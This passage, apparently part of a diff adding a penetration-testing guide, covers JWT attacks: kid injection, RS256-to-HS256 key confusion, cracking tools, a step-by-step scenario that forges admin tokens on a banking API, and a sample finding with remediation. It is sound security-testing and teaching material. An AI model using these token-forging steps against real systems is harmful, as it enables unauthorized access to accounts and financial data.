+ | **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |
402
+ | **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |
403
+ | **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |
404
+
405
+ ## Tools & Systems
406
+
407
+ - **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
408
+ - **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
409
+ - **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
410
+ - **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks
411
+ - **jwt.io**: Online JWT decoder and debugger for quick token analysis
412
+
413
+ ## Common Scenarios
414
+
415
+ ### Scenario: Algorithm Confusion on Banking API
416
+
417
+ **Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.
418
+
419
+ **Approach**:
420
+ 1. Obtain a valid JWT by authenticating as a regular user
421
+ 2. Extract the RSA public key from the JWKS endpoint at `/.well-known/jwks.json`
422
+ 3. Create a new JWT with `"alg": "HS256"` header and sign it using the RSA public key as the HMAC secret
423
+ 4. Send the forged token to `GET /api/v1/users/me` - server accepts it (algorithm confusion confirmed)
424
+ 5. Modify the payload to set `"role": "admin"` and `"sub": "admin@bank.com"` - sign with the public key
425
+ 6. Access admin endpoints: `GET /api/v1/admin/transactions` returns all transaction history
426
+ 7. Test alg:none: rejected by the server (partial mitigation)
427
+ 8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection
428
+
429
+ **Pitfalls**:
430
+ - Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
431
+ - Not trying multiple public key formats when the first one does not produce a valid signature
432
+ - Assuming the alg:none defense means algorithm confusion is also mitigated
433
+ - Not testing kid injection vectors when the kid parameter is present in the JWT header
434
+ - Missing JKU/x5u header injection when the server fetches keys from URLs
435
+
436
+ ## Output Format
437
+
438
+ ```
439
+ ## Finding: JWT Algorithm Confusion Enables Authentication Bypass
440
+
441
+ **ID**: API-JWT-001
442
+ **Severity**: Critical (CVSS 9.8)
443
+ **CVE Reference**: CVE-2024-54150 (related pattern)
444
+ **Affected Component**: JWT authentication middleware
445
+
446
+ **Description**:
447
+ The API's JWT verification library trusts the algorithm specified in
448
+ the JWT header rather than enforcing a fixed algorithm. An attacker can
449
+ change the algorithm from RS256 to HS256 and sign the token using the
450
+ server's RSA public key (available from the JWKS endpoint) as the HMAC
451
+ secret. The server then uses the same public key to verify the HMAC
452
+ signature, which succeeds, allowing the attacker to forge tokens for
453
+ any user with any role.
454
+
455
+ **Attack Chain**:
456
+ 1. Obtain public key: GET /.well-known/jwks.json
457
+ 2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
458
+ 3. Sign with HMAC-SHA256 using RSA public key PEM as secret
459
+ 4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
460
+
461
+ **Impact**:
462
+ Complete authentication bypass. An attacker can forge tokens for any
463
+ user including administrators, accessing all financial transactions,
464
+ user data, and administrative functions.
465
+
466
+ **Remediation**:
467
+ 1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
468
+ 2. Never trust the alg header from the JWT for algorithm selection
469
+ 3. Update the JWT library to the latest version with algorithm confusion protections
470
+ 4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
471
+ 5. Implement token binding to prevent forged token acceptance
472
+ ```